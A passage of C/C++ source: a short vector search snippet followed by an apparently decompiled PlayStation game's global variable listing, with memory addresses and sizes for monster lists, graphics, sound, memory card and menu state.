bool find(vector::const_iterator begin, vector::const_iterator end, int i); int main(){ vector ivec{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; bool res = find(ivec.cbegin(), ivec.cend(), 9); cout << res << endl; return 0; } bool find(vector::const_iterator begin, vector::const_iterator end, int i){ while (begin != end){ if (*begin++ == i) return true; } return false; } // global_0.cpp #include "types.h" // address: 0x8012CDC8 extern int NumOfMonsterListLevels; // address: 0x800A9BE0 // size: 0x80 extern struct MonstLevel AllLevels[16]; // address: 0x8012CAAC // size: 0x4 static unsigned char NumsLEV1M1A[4]; // address: 0x8012CAB0 // size: 0x4 static unsigned char NumsLEV1M1B[4]; // address: 0x8012CAB4 // size: 0x5 static unsigned char NumsLEV1M1C[5]; // address: 0x8012CABC // size: 0x4 static unsigned char NumsLEV2M2A[4]; // address: 0x8012CAC0 // size: 0x4 static unsigned char NumsLEV2M2B[4]; // address: 0x8012CAC4 // size: 0x3 static unsigned char NumsLEV2M2C[3]; // address: 0x8012CAC8 // size: 0x4 static unsigned char NumsLEV2M2D[4]; // address: 0x8012CACC // size: 0x4 static unsigned char NumsLEV2M2QA[4]; // address: 0x8012CAD0 // size: 0x4 static unsigned char NumsLEV2M2QB[4]; // address: 0x8012CAD4 // size: 0x4 static unsigned char NumsLEV3M3A[4]; // address: 0x8012CAD8 // size: 0x4 static unsigned char NumsLEV3M3QA[4]; // address: 0x8012CADC // size: 0x4 static unsigned char NumsLEV3M3B[4]; // address: 0x8012CAE0 // size: 0x4 static unsigned char NumsLEV3M3C[4]; // address: 0x8012CAE4 // size: 0x4 static unsigned char NumsLEV4M4A[4]; // address: 0x8012CAE8 // size: 0x4 static unsigned char NumsLEV4M4QA[4]; // address: 0x8012CAEC // size: 0x4 static unsigned char NumsLEV4M4B[4]; // address: 0x8012CAF0 // size: 0x5 static unsigned char NumsLEV4M4QB[5]; // address: 0x8012CAF8 // size: 0x4 static unsigned char NumsLEV4M4C[4]; // address: 0x8012CAFC // size: 0x5 static unsigned char NumsLEV4M4QC[5]; // address: 0x8012CB04 // size: 0x4 static unsigned char NumsLEV4M4D[4]; // address: 0x8012CB08 // size: 0x4 static unsigned char NumsLEV5M5A[4]; // address: 0x8012CB0C // size: 0x4 static unsigned char NumsLEV5M5B[4]; // address: 0x8012CB10 // size: 0x4 static unsigned char NumsLEV5M5C[4]; // address: 0x8012CB14 // size: 0x4 static unsigned char NumsLEV5M5D[4]; // address: 0x8012CB18 // size: 0x4 static unsigned char NumsLEV5M5E[4]; // address: 0x8012CB1C // size: 0x3 static unsigned char NumsLEV5M5F[3]; // address: 0x8012CB20 // size: 0x4 static unsigned char NumsLEV5M5QA[4]; // address: 0x8012CB24 // size: 0x5 static unsigned char NumsLEV6M6A[5]; // address: 0x8012CB2C // size: 0x3 static unsigned char NumsLEV6M6B[3]; // address: 0x8012CB30 // size: 0x4 static unsigned char NumsLEV6M6C[4]; // address: 0x8012CB34 // size: 0x3 static unsigned char NumsLEV6M6D[3]; // address: 0x8012CB38 // size: 0x3 static unsigned char NumsLEV6M6E[3]; // address: 0x8012CB3C // size: 0x3 static unsigned char NumsLEV6M6QA[3]; // address: 0x8012CB40 // size: 0x4 static unsigned char NumsLEV7M7A[4]; // address: 0x8012CB44 // size: 0x4 static unsigned char NumsLEV7M7B[4]; // address: 0x8012CB48 // size: 0x4 static unsigned char NumsLEV7M7C[4]; // address: 0x8012CB4C // size: 0x3 static unsigned char NumsLEV7M7D[3]; // address: 0x8012CB50 // size: 0x3 static unsigned char NumsLEV7M7E[3]; // address: 0x8012CB54 // size: 0x2 static unsigned char NumsLEV8M8QA[2]; // address: 0x8012CB58 // size: 0x2 static unsigned char NumsLEV8M8A[2]; // address: 0x8012CB5C // size: 0x4 static unsigned char NumsLEV8M8B[4]; // address: 0x8012CB60 // size: 0x3 static unsigned char NumsLEV8M8C[3]; // address: 0x8012CB64 // size: 0x2 static unsigned char NumsLEV8M8D[2]; // address: 0x8012CB68 // size: 0x2 static unsigned char NumsLEV8M8E[2]; // address: 0x8012CB6C // size: 0x4 static unsigned char NumsLEV9M9A[4]; // address: 0x8012CB70 // size: 0x3 static unsigned char NumsLEV9M9B[3]; // address: 0x8012CB74 // size: 0x2 static unsigned char NumsLEV9M9C[2]; // address: 0x8012CB78 // size: 0x2 static unsigned char NumsLEV9M9D[2]; // address: 0x8012CB7C // size: 0x3 static unsigned char NumsLEV10M10A[3]; // address: 0x8012CB80 // size: 0x2 static unsigned char NumsLEV10M10B[2]; // address: 0x8012CB84 // size: 0x2 static unsigned char NumsLEV10M10C[2]; // address: 0x8012CB88 // size: 0x2 static unsigned char NumsLEV10M10D[2]; // address: 0x8012CB8C // size: 0x3 static unsigned char NumsLEV10M10QA[3]; // address: 0x8012CB90 // size: 0x3 static unsigned char NumsLEV11M11A[3]; // address: 0x8012CB94 // size: 0x3 static unsigned char NumsLEV11M11B[3]; // address: 0x8012CB98 // size: 0x3 static unsigned char NumsLEV11M11C[3]; // address: 0x8012CB9C // size: 0x3 static unsigned char NumsLEV11M11D[3]; // address: 0x8012CBA0 // size: 0x2 static unsigned char NumsLEV11M11E[2]; // address: 0x8012CBA4 // size: 0x3 static unsigned char NumsLEV12M12A[3]; // address: 0x8012CBA8 // size: 0x3 static unsigned char NumsLEV12M12B[3]; // address: 0x8012CBAC // size: 0x3 static unsigned char NumsLEV12M12C[3]; // address: 0x8012CBB0 // size: 0x3 static unsigned char NumsLEV12M12D[3]; // address: 0x8012CBB4 // size: 0x3 static unsigned char NumsLEV13M13A[3]; // address: 0x8012CBB8 // size: 0x2 static unsigned char NumsLEV13M13B[2]; // address: 0x8012CBBC // size: 0x3 static unsigned char NumsLEV13M13QB[3]; // address: 0x8012CBC0 // size: 0x3 static unsigned char NumsLEV13M13C[3]; // address: 0x8012CBC4 // size: 0x2 static unsigned char NumsLEV13M13D[2]; // address: 0x8012CBC8 // size: 0x3 static unsigned char NumsLEV14M14A[3]; // address: 0x8012CBCC // size: 0x3 static unsigned char NumsLEV14M14B[3]; // address: 0x8012CBD0 // size: 0x3 static unsigned char NumsLEV14M14QB[3]; // address: 0x8012CBD4 // size: 0x3 static unsigned char NumsLEV14M14C[3]; // address: 0x8012CBD8 // size: 0x3 static unsigned char NumsLEV14M14D[3]; // address: 0x8012CBDC // size: 0x2 static unsigned char NumsLEV14M14E[2]; // address: 0x8012CBE0 // size: 0x3 static unsigned char NumsLEV15M15A[3]; // address: 0x8012CBE4 // size: 0x3 static unsigned char NumsLEV15M15B[3]; // address: 0x8012CBE8 // size: 0x2 static unsigned char NumsLEV15M15C[2]; // address: 0x8012CBEC // size: 0x2 static unsigned char NumsLEV15M15QA[2]; // address: 0x8012CBF0 // size: 0x3 static unsigned char NumsLEV16M16D[3]; // address: 0x800A9700 // size: 0x30 static struct MonstList ChoiceListLEV1[3]; // address: 0x800A9730 // size: 0x60 static struct MonstList ChoiceListLEV2[6]; // address: 0x800A9790 // size: 0x40 static struct MonstList ChoiceListLEV3[4]; // address: 0x800A97D0 // size: 0x70 static struct MonstList ChoiceListLEV4[7]; // address: 0x800A9840 // size: 0x70 static struct MonstList ChoiceListLEV5[7]; // address: 0x800A98B0 // size: 0x60 static struct MonstList ChoiceListLEV6[6]; // address: 0x800A9910 // size: 0x50 static struct MonstList ChoiceListLEV7[5]; // address: 0x800A9960 // size: 0x60 static struct MonstList ChoiceListLEV8[6]; // address: 0x800A99C0 // size: 0x40 static struct MonstList ChoiceListLEV9[4]; // address: 0x800A9A00 // size: 0x50 static struct MonstList ChoiceListLEV10[5]; // address: 0x800A9A50 // size: 0x50 static struct MonstList ChoiceListLEV11[5]; // address: 0x800A9AA0 // size: 0x40 static struct MonstList ChoiceListLEV12[4]; // address: 0x800A9AE0 // size: 0x50 static struct MonstList ChoiceListLEV13[5]; // address: 0x800A9B30 // size: 0x60 static struct MonstList ChoiceListLEV14[6]; // address: 0x800A9B90 // size: 0x40 static struct MonstList ChoiceListLEV15[4]; // address: 0x800A9BD0 // size: 0x10 static struct MonstList ChoiceListLEV16[1]; // address: 0x8012E688 // size: 0x5C static struct TASK *GameTaskPtr; // address: 0x800A9C60 // size: 0x348 extern struct LOAD_IMAGE_ARGS AllArgs[30]; // address: 0x8012CDD8 extern int ArgsSoFar; // address: 0x8012CDE8 extern unsigned long *ThisOt; // address: 0x8012CDEC // size: 0x28 extern struct POLY_FT4 *ThisPrimAddr; // address: 0x8012E68C static long hndPrimBuffers; // address: 0x8012E690 // size: 0x1C static struct PRIM_BUFFER *PrimBuffers; // address: 0x8012E694 static unsigned char BufferDepth; // address: 0x8012E695 static unsigned char WorkRamId; // address: 0x8012E696 static unsigned char ScrNum; // address: 0x8012E698 // size: 0x70 static struct SCREEN_ENV *Screens; // address: 0x8012E69C // size: 0x1C static struct PRIM_BUFFER *PbToClear; // address: 0x8012E6A0 static unsigned char BufferNum; // address: 0x8012CDF0 // size: 0x28 extern struct POLY_FT4 *AddrToAvoid; // address: 0x8012E6A1 static unsigned char LastBuffer; // address: 0x8012E6A4 // size: 0x14 static struct DISPENV *DispEnvToPut; // address: 0x8012E6A8 static int ThisOtSize; // address: 0x8012CDF4 // size: 0x8 static struct RECT ScrRect; // address: 0x8012E6AC static int VidWait; // address: 0x8012EB28 // size: 0xE0 static struct SCREEN_ENV screen[2]; // address: 0x8012E6B0 static void (*VbFunc)(); // address: 0x8012E6B4 static unsigned long VidTick; // address: 0x8012E6B8 static int VXOff; // address: 0x8012E6BC static int VYOff; // address: 0x8012CE08 // size: 0x1C extern struct LNK_OPTS *Gaz; // address: 0x8012CE0C extern int LastFmem; // address: 0x8012CDFC extern unsigned int GSYS_MemStart; // address: 0x8012CE00 extern unsigned int GSYS_MemEnd; // address: 0x800A9FA8 // size: 0x28 static struct MEM_INIT_INFO PsxMem; // address: 0x800A9FD0 // size: 0x28 static struct MEM_INIT_INFO PsxFastMem; // address: 0x8012CE04 extern int LowestFmem; // address: 0x8012CE1C extern int FileSYS; // address: 0x8012E6C0 // size: 0x14 static struct FileIO *FileSystem; // address: 0x8012E6C4 // size: 0x14 static struct FileIO *OverlayFileSystem; // address: 0x8012CE36 extern short DavesPad; // address: 0x8012CE38 extern short DavesPadDeb; // address: 0x800A9FF8 // size: 0x32 extern char _6FileIO_FileToLoad[50]; // address: 0x8012EC08 // size: 0x28 static struct POLY_FT4 MyFT4; // address: 0x800AA89C // size: 0x5C0 extern struct TextDat *AllDats[368]; // address: 0x8012CE88 extern int TpW; // address: 0x8012CE8C extern int TpH; // address: 0x8012CE90 extern int TpXDest; // address: 0x8012CE94 extern int TpYDest; // address: 0x8012CE98 // size: 0x8 extern struct RECT R; // address: 0x800AAE5C // size: 0x34 extern struct POLY_GT4 MyGT4; // address: 0x800AAE90 // size: 0x28 extern struct POLY_GT3 MyGT3; // address: 0x800AA02C // size: 0x870 extern struct TextDat DatPool[20]; // address: 0x8012CEAC static bool ChunkGot; // address: 0x800AAEB8 // size: 0x10 extern char STREAM_DIR[16]; // address: 0x800AAEC8 // size: 0x10 extern char STREAM_BIN[16]; // address: 0x800AAED8 // size: 0x12C extern unsigned char EAC_DirectoryCache[300]; // address: 0x8012CEC0 extern unsigned long BL_NoLumpFiles; // address: 0x8012CEC4 extern unsigned long BL_NoStreamFiles; // address: 0x8012CEC8 // size: 0x14 extern struct STRHDR *LFileTab; // address: 0x8012CECC // size: 0x14 extern struct STRHDR *SFileTab; // address: 0x8012CED0 extern unsigned char FileLoaded; // address: 0x8012CEF4 extern int NoTAllocs; // address: 0x800AB004 // size: 0x190 extern struct MEMSTRUCT MemBlock[50]; // address: 0x8012E6D0 static bool CanPause; // address: 0x8012E6D4 static bool Paused; // address: 0x8012E6D8 static char InActivePad; // address: 0x8012EC30 // size: 0x10 static struct Dialog PBack; // address: 0x800AB26C // size: 0x22 extern unsigned char RawPadData0[34]; // address: 0x800AB290 // size: 0x22 extern unsigned char RawPadData1[34]; // address: 0x800AB2B4 // size: 0x384 extern unsigned char demo_buffer[900]; // address: 0x8012CF10 extern int demo_pad_time; // address: 0x8012CF14 extern int demo_pad_count; // address: 0x800AB194 // size: 0x6C extern struct CPad Pad0; // address: 0x800AB200 // size: 0x6C extern struct CPad Pad1; // address: 0x8012CF18 extern unsigned long demo_finish; // address: 0x8012CF1C extern int cac_pad; // address: 0x8012CF3C // size: 0x28 extern struct POLY_FT4 *CharFt4; // address: 0x8012CF40 extern int CharFrm; // address: 0x8012CF29 extern unsigned char WHITER; // address: 0x8012CF2A extern unsigned char WHITEG; // address: 0x8012CF2B extern unsigned char WHITEB; // address: 0x8012CF2C extern unsigned char BLUER; // address: 0x8012CF2D extern unsigned char BLUEG; // address: 0x8012CF2E extern unsigned char BLUEB; // address: 0x8012CF2F extern unsigned char REDR; // address: 0x8012CF30 extern unsigned char REDG; // address: 0x8012CF31 extern unsigned char REDB; // address: 0x8012CF32 extern unsigned char GOLDR; // address: 0x8012CF33 extern unsigned char GOLDG; // address: 0x8012CF34 extern unsigned char GOLDB; // address: 0x800AB638 // size: 0x21C extern struct CFont MediumFont; // address: 0x800AB854 // size: 0x21C extern struct CFont LargeFont; // address: 0x8012CF38 extern bool buttoncol; // address: 0x800ABA70 // size: 0xB4 extern struct FontItem LFontTab[90]; // address: 0x800ABB24 // size: 0x10 extern struct FontTab LFont; // address: 0x800ABB34 // size: 0x136 extern struct FontItem MFontTab[155]; // address: 0x800ABC6C // size: 0x10 extern struct FontTab MFont; // address: 0x8012CF55 extern unsigned char DialogRed; // address: 0x8012CF56 extern unsigned char DialogGreen; // address: 0x8012CF57 extern unsigned char DialogBlue; // address: 0x8012CF58 extern unsigned char DialogTRed; // address: 0x8012CF59 extern unsigned char DialogTGreen; // address: 0x8012CF5A extern unsigned char DialogTBlue; // address: 0x8012CF5C // size: 0x6C extern struct TextDat *DialogTData; // address: 0x8012CF60 extern int DialogBackGfx; // address: 0x8012CF64 extern int DialogBackW; // address: 0x8012CF68 extern int DialogBackH; // address: 0x8012CF6C extern int DialogBorderGfx; // address: 0x8012CF70 extern int DialogBorderTLW; // address: 0x8012CF74 extern int DialogBorderTLH; // address: 0x8012CF78 extern int DialogBorderTRW; // address: 0x8012CF7C extern int DialogBorderTRH; // address: 0x8012CF80 extern int DialogBorderBLW; // address: 0x8012CF84 extern int DialogBorderBLH; // address: 0x8012CF88 extern int DialogBorderBRW; // address: 0x8012CF8C extern int DialogBorderBRH; // address: 0x8012CF90 extern int DialogBorderTW; // address: 0x8012CF94 extern int DialogBorderTH; // address: 0x8012CF98 extern int DialogBorderBW; // address: 0x8012CF9C extern int DialogBorderBH; // address: 0x8012CFA0 extern int DialogBorderLW; // address: 0x8012CFA4 extern int DialogBorderLH; // address: 0x8012CFA8 extern int DialogBorderRW; // address: 0x8012CFAC extern int DialogBorderRH; // address: 0x8012CFB0 extern int DialogBevelGfx; // address: 0x8012CFB4 extern int DialogBevelCW; // address: 0x8012CFB8 extern int DialogBevelCH; // address: 0x8012CFBC extern int DialogBevelLRW; // address: 0x8012CFC0 extern int DialogBevelLRH; // address: 0x8012CFC4 extern int DialogBevelUDW; // address: 0x8012CFC8 extern int DialogBevelUDH; // address: 0x8012CFCC extern int MY_DialogOTpos; // address: 0x8012E6DC static unsigned char DialogGBack; // address: 0x8012E6DD static char GShadeX; // address: 0x8012E6DE static char GShadeY; // address: 0x8012E6E4 // size: 0x8 static unsigned char RandBTab[8]; // address: 0x800ABCBC // size: 0x70 extern int Cxy[28]; // address: 0x8012CF4F extern unsigned char BORDERR; // address: 0x8012CF50 extern unsigned char BORDERG; // address: 0x8012CF51 extern unsigned char BORDERB; // address: 0x8012CF52 extern unsigned char BACKR; // address: 0x8012CF53 extern unsigned char BACKG; // address: 0x8012CF54 extern unsigned char BACKB; // address: 0x800ABC7C // size: 0x40 static char GShadeTab[64]; // address: 0x8012CF4D static char GShadePX; // address: 0x8012CF4E static char GShadePY; // address: 0x8012CFD9 extern unsigned char PlayDemoFlag; // address: 0x8012EC40 // size: 0x30 static struct RGBPOLY rgbb; // address: 0x8012EC70 // size: 0x30 static struct RGBPOLY rgbt; // address: 0x8012E6EC static int blockr; // address: 0x8012E6F0 static int blockg; // address: 0x8012E6F4 static int blockb; // address: 0x8012E6F8 static int InfraFlag; // address: 0x8012E6FC static unsigned char blank_bit; // address: 0x8012CFED extern unsigned char P1ObjSelCount; // address: 0x8012CFEE extern unsigned char P2ObjSelCount; // address: 0x8012CFEF extern unsigned char P12ObjSelCount; // address: 0x8012CFF0 extern unsigned char P1ItemSelCount; // address: 0x8012CFF1 extern unsigned char P2ItemSelCount; // address: 0x8012CFF2 extern unsigned char P12ItemSelCount; // address: 0x8012CFF3 extern unsigned char P1MonstSelCount; // address: 0x8012CFF4 extern unsigned char P2MonstSelCount; // address: 0x8012CFF5 extern unsigned char P12MonstSelCount; // address: 0x8012CFF6 static unsigned short P1ObjSelCol; // address: 0x8012CFF8 static unsigned short P2ObjSelCol; // address: 0x8012CFFA static unsigned short P12ObjSelCol; // address: 0x8012CFFC static unsigned short P1ItemSelCol; // address: 0x8012CFFE static unsigned short P2ItemSelCol; // address: 0x8012D000 static unsigned short P12ItemSelCol; // address: 0x8012D002 static unsigned short P1MonstSelCol; // address: 0x8012D004 static unsigned short P2MonstSelCol; // address: 0x8012D006 static unsigned short P12MonstSelCol; // address: 0x8012D008 // size: 0xE0 extern struct CBlocks *CurrentBlocks; // address: 0x800ABD2C // size: 0x16 extern struct TownToCreature TownConv[11]; // address: 0x8012D024 // size: 0x4 extern enum OVER_TYPE CurrentOverlay; // address: 0x80122750 // size: 0xC static unsigned long HaltTab[3]; // address: 0x8012ECA0 // size: 0x10 static struct Overlay FrontEndOver; // address: 0x8012ECB0 // size: 0x10 static struct Overlay PregameOver; // address: 0x8012ECC0 // size: 0x10 static struct Overlay GameOver; // address: 0x8012ECD0 // size: 0x10 static struct Overlay FmvOver; // address: 0x8012E700 static int OWorldX; // address: 0x8012E704 static int OWorldY; // address: 0x8012E708 static int WWorldX; // address: 0x8012E70C static int WWorldY; // address: 0x801227CC // size: 0x20 static short TxyAdd[16]; // address: 0x8012D048 extern int GXAdj2; // address: 0x8012E710 static int TimePerFrame; // address: 0x8012E714 static int CpuStart; // address: 0x8012E718 static int CpuTime; // address: 0x8012E71C static int DrawTime; // address: 0x8012E720 static int DrawStart; // address: 0x8012E724 static int LastCpuTime; // address: 0x8012E728 static int LastDrawTime; // address: 0x8012E72C static int DrawArea; // address: 0x8012D050 extern bool ProfOn; // address: 0x800ABD44 // size: 0x11 extern unsigned char LevPals[17]; // address: 0x80122928 // size: 0x32 static unsigned short Level2Bgdata[25]; // address: 0x800ABD58 // size: 0x54 extern struct PanelXY DefP1PanelXY; // address: 0x800ABDAC // size: 0x54 extern struct PanelXY DefP1PanelXY2; // address: 0x800ABE00 // size: 0x54 extern struct PanelXY DefP2PanelXY; // address: 0x800ABE54 // size: 0x54 extern struct PanelXY DefP2PanelXY2; // address: 0x800ABEA8 // size: 0xC8 extern unsigned int SpeedBarGfxTable[50]; // address: 0x8012D078 extern int hof; // address: 0x8012D07C extern int mof; // address: 0x800ABF70 // size: 0x100 extern struct SFXHDR SFXTab[2]; // address: 0x800AC070 // size: 0x12000 extern unsigned long STR_Buffer[18432]; // address: 0x8012D0B0 extern unsigned long Time; // address: 0x8012D0B4 extern bool CDWAIT; // address: 0x800BE070 // size: 0x40 extern struct SpuVoiceAttr voice_attr; // address: 0x800BE0B0 // size: 0x80 extern struct SFXHDR STRSave; // address: 0x8012E730 static bool SavePause; // address: 0x8012D089 extern char NoActiveStreams; // address: 0x8012D08C static bool STRInit; // address: 0x8012D090 static int frame_rate; // address: 0x8012D094 static unsigned char CDAngle; // address: 0x8012D0D8 extern char SFXNotPlayed; // address: 0x8012D0D9 extern char SFXNotInBank; // address: 0x8012ECE0 // size: 0x108 static char spu_management[264]; // address: 0x8012EDF0 // size: 0x14 static struct SpuReverbAttr rev_attr; // address: 0x8012E738 static unsigned short NoSfx; // address: 0x8012EE10 // size: 0x30 static unsigned short CHStatus[24]; // address: 0x8012D0C4 // size: 0xC extern struct bank_entry *BankOffsets; // address: 0x8012D0C8 static long OffsetHandle; // address: 0x8012D0CC static int BankBase; // address: 0x8012D0D0 static unsigned char SPU_Done; // address: 0x80122CD0 // size: 0x78 static unsigned short SFXRemapTab[60]; // address: 0x8012D0D4 static int NoSNDRemaps; // address: 0x800BE130 // size: 0x1EC extern struct PalCollection ThePals; // address: 0x80122D7C // size: 0x50 static struct InitPos InitialPositions[20]; // address: 0x8012D11C extern int demo_level; // address: 0x8012EE40 // size: 0x20 static int buff[8]; // address: 0x8012D120 extern int old_val; // address: 0x8012D124 // size: 0x5C extern struct TASK *DemoTask; // address: 0x8012D128 // size: 0x5C extern struct TASK *DemoGameTask; // address: 0x8012D12C // size: 0x5C extern struct TASK *tonys; // address: 0x8012D104 extern int demo_load; // address: 0x8012D108 extern int demo_record_load; // address: 0x8012D10C extern int level_record; // address: 0x8012D110 extern char demo_fade_finished; // address: 0x8012D113 extern unsigned char demo_which; // address: 0x800BE35C // size: 0x14 extern unsigned long demolevel[5]; // address: 0x8012D111 extern unsigned char quest_cheat_num; // address: 0x8012D112 extern unsigned char cheat_quest_flag; // address: 0x8012D100 extern int moo_moo; // address: 0x800BE31C // size: 0x40 extern unsigned long quest_seed[16]; // address: 0x8012D114 extern unsigned char demo_flash; // address: 0x8012D118 extern int tonys_Task; // address: 0x8012D288 extern bool DoShowPanel; // address: 0x8012D28C extern bool DoDrawBg; // address: 0x8012E73C static bool GlueFinished; // address: 0x8012E740 static bool DoHomingScroll; // address: 0x8012E744 // size: 0x6C static struct TextDat *TownerGfx; // address: 0x8012E748 static int CurrentMonsterList; // address: 0x8012D139 extern char started_grtask; // address: 0x800BE370 // size: 0x3CC extern struct PInf PlayerInfo[81]; // address: 0x8012D290 // size: 0x4 static char ArmourChar[4]; // address: 0x80122E70 // size: 0xA static char WepChar[10]; // address: 0x8012D294 // size: 0x4 static char CharChar[4]; // address: 0x8012E74C static char ctrl_select_line; // address: 0x8012E74D static char ctrl_select_side; // address: 0x8012E74E static char ckeyheld; // address: 0x8012E754 // size: 0x8 static struct RECT CtrlRect; // address: 0x8012D2A8 extern unsigned char ctrlflag; // address: 0x800BE7E4 // size: 0x130 extern struct KEY_ASSIGNS txt_actions[19]; // address: 0x800BE73C // size: 0xA8 extern struct pad_assigns pad_txt[14]; // address: 0x8012D2A4 static int toppos; // address: 0x8012EE60 // size: 0x10 static struct Dialog CtrlBack; // address: 0x800BE914 // size: 0x98 static int controller_defaults[2][19]; // address: 0x8012D314 extern int gr_scrxoff; // address: 0x8012D318 extern int gr_scryoff; // address: 0x8012D320 extern unsigned short water_clut; // address: 0x8012D323 extern char visible_level; // address: 0x8012D311 extern char last_type; // address: 0x8012D325 extern char daylight; // address: 0x8012D322 extern char cow_in_sight; // address: 0x8012D31C extern unsigned int water_count; // address: 0x8012D324 extern unsigned char lastrnd; // address: 0x8012D328 static int call_clock; // address: 0x8012D338 extern int TitleAnimCount; // address: 0x8012D33C static int flametick; // address: 0x800BE9AC // size: 0x18 static int ypos[6]; // address: 0x800BE9C4 // size: 0x18 static int frmlist[6]; // address: 0x800BE9DC // size: 0x18 static int xoff[6]; // address: 0x8012D340 static int startx; // address: 0x8012D344 extern bool hellomumflag; // address: 0x800BEA14 // size: 0x90 extern struct SPELLFX_DAT SpellFXDat[2]; // address: 0x8012EE70 // size: 0x240 static struct Particle PartArray[16]; // address: 0x8012E75C static int partOtPos; // address: 0x8012D364 extern int SetParticle; // address: 0x8012D368 static int p1partexecnum; // address: 0x8012D36C static int p2partexecnum; // address: 0x800BE9F4 // size: 0x20 static int JumpArray[8]; // address: 0x8012D370 static int partjumpflag; // address: 0x8012D374 static int partglowflag; // address: 0x8012D378 static int partcolour; // address: 0x8012D37C static bool anyfuckingmenus; // address: 0x800BEAA4 // size: 0x30 extern struct Spell_Target SplTarget[2]; // address: 0x8012D39D extern unsigned char select_flag; // address: 0x8012E760 // size: 0x8 static struct RECT SelectRect; // address: 0x8012E768 static char item_select; // address: 0x8012D3A0 // size: 0x2 extern char QSpell[2]; // address: 0x8012D3A4 // size: 0x2 extern char _spltotype[2]; // address: 0x8012D3A8 // size: 0x8 extern bool force_attack[2]; // address: 0x8012D390 // size: 0x84 extern struct CPlayer *gplayer; // address: 0x8012F0B0 // size: 0x10 static struct Dialog SelectBack; // address: 0x8012D394 // size: 0x4 extern char mana_order[4]; // address: 0x8012D398 // size: 0x4 extern char health_order[4]; // address: 0x8012D39C extern unsigned char birdcheck; // address: 0x8012F0C0 // size: 0x28 static struct TextDat *DecRequestors[10]; // address: 0x8012E76C static unsigned short progress; // address: 0x80122FFC // size: 0x2A static unsigned short Level2CutScreen[21]; // address: 0x8012F0E8 // size: 0x78 static struct CScreen Scr; // address: 0x8012D3C8 // size: 0x5C static struct TASK *CutScreenTSK; // address: 0x8012D3CC static bool GameLoading; // address: 0x8012F168 // size: 0x10 static struct Dialog LBack; // address: 0x800BEAD4 // size: 0x80 extern unsigned char block_buf[128]; // address: 0x8012D3E8 extern unsigned int card_ev0; // address: 0x8012D3EC extern unsigned int card_ev1; // address: 0x8012D3F0 extern unsigned int card_ev2; // address: 0x8012D3F4 extern unsigned int card_ev3; // address: 0x8012D3F8 extern unsigned int card_ev10; // address: 0x8012D3FC extern unsigned int card_ev11; // address: 0x8012D400 extern unsigned int card_ev12; // address: 0x8012D404 extern unsigned int card_ev13; // address: 0x8012D408 // size: 0x8 extern int card_dirty[2]; // address: 0x8012D410 // size: 0x5C extern struct TASK *MemcardTask; // address: 0x8012E770 static int card_event; // address: 0x8012D3E4 extern void (*mem_card_event_handler)(); // address: 0x8012D3DC extern bool MemCardActive; // address: 0x8012D3E0 static int never_hooked_events; // address: 0x8012D46C extern unsigned long MasterVol; // address: 0x8012D470 extern unsigned long MusicVol; // address: 0x8012D474 extern unsigned long SoundVol; // address: 0x8012D478 extern unsigned long VideoVol; // address: 0x8012D47C extern unsigned long SpeechVol; // address: 0x8012E774 // size: 0x6C static struct TextDat *Slider; // address: 0x8012E778 static int sw; // address: 0x8012E77C static int sx; // address: 0x8012E780 static int sy; // address: 0x8012E784 static unsigned char Adjust; // address: 0x8012E785 static unsigned char qspin; // address: 0x8012E786 static unsigned char lqspin; // address: 0x8012E788 // size: 0x4 static enum LANG_TYPE OrigLang; // address: 0x8012E78C // size: 0x4 static enum LANG_TYPE OldLang; // address: 0x8012E790 // size: 0x4 static enum LANG_TYPE NewLang; // address: 0x8012D480 extern int save_blocks; // address: 0x8012D484 extern char *Savefilename; // address: 0x8012D488 extern int ReturnMenu; // address: 0x8012E794 // size: 0x8 static struct RECT ORect; // address: 0x8012E79C // size: 0x8 static char *McState[2]; // address: 0x8012D48C extern int they_pressed; // address: 0x8012E7A4 // size: 0x8 static unsigned char Seed[8]; // address: 0x8012D440 extern bool optionsflag; // address: 0x8012D434 extern int cmenu; // address: 0x8012D44C extern int options_pad; // address: 0x8012D43C extern bool allspellsflag; // address: 0x800BF5F4 // size: 0x80 extern short Circle[64]; // address: 0x8012D420 extern bool goldcheat; // address: 0x8012D450 extern int OptionsSeed; // address: 0x8012D454 extern bool OptionsSetSeed; // address: 0x8012D424 extern unsigned char Qfromoptions; // address: 0x8012D428 static int Spacing; // address: 0x8012D42C static int cs; // address: 0x8012D430 static int lastcs; // address: 0x8012D438 static bool MemcardOverlay; // address: 0x8012D444 extern int saveflag; // address: 0x8012D448 extern int loadflag; // address: 0x8012D458 extern bool PadFrig; // address: 0x800BEB54 // size: 0xD8 extern struct OMENUITEM MainMenu[9]; // address: 0x800BEC2C // size: 0x108 extern struct OMENUITEM GameMenu[11]; // address: 0x800BED34 // size: 0x90 extern struct OMENUITEM SoundMenu[6]; // address: 0x800BEDC4 // size: 0xA8 extern struct OMENUITEM CentreMenu[7]; // address: 0x800BEE6C // size: 0xA8 extern struct OMENUITEM LangMenu[7]; // address: 0x800BEF14 // size: 0x60 extern struct OMENUITEM QuitMenu[4]; // address: 0x800BEF74 // size: 0xA8 extern struct OMENUITEM MemcardMenu[7]; // address: 0x800BF01C // size: 0x60 extern struct OMENUITEM MemcardLoadGameMenu[4]; // address: 0x800BF07C // size: 0x60 extern struct OMENUITEM MemcardSaveGameMenu[4]; // address: 0x800BF0DC // size: 0x60 extern struct OMENUITEM MemcardSaveOptionsMenu[4]; // address: 0x800BF13C // size: 0x60 extern struct OMENUITEM MemcardLoadOptionsMenu[4]; // address: 0x800BF19C // size: 0x60 extern struct OMENUITEM MemcardCharacterMenu[4]; // address: 0x800BF1FC // size: 0xA8 extern struct OMENUITEM MemcardSelectCard1[7]; // address: 0x800BF2A4 // size: 0xA8 extern struct OMENUITEM MemcardSelectCard2[7]; // address: 0x800BF34C // size: 0x60 extern struct OMENUITEM MemcardFormatMenu[4]; // address: 0x800BF3AC // size: 0xF0 extern struct OMENUITEM CheatMenu[10]; // address: 0x800BF49C // size: 0x30 extern struct OMENUITEM InfoMenu[2]; // address: 0x800BF4CC // size: 0x48 extern struct OMENUITEM MonstViewMenu[3]; // address: 0x800BF514 // size: 0x48 extern struct OMENUITEM SeedMenu[3]; // address: 0x800BF55C // size: 0x98 extern struct OMENULIST MenuList[19]; // address: 0x8012D45C static bool debounce; // address: 0x8012D460 static unsigned char KeyPos; // address: 0x800BF674 // size: 0x14 static unsigned short KeyTab[10]; // address: 0x8012D464 static int SeedPos; // address: 0x800BF688 // size: 0x180 extern struct BIRDSTRUCT BirdList[16]; // address: 0x8012E7AC // size: 0x8 static int last_seenx[2]; // address: 0x8012E7B4 // size: 0x8 static int last_seeny[2]; // address: 0x8012D499 extern char hop_height; // address: 0x8012D49C // size: 0x8 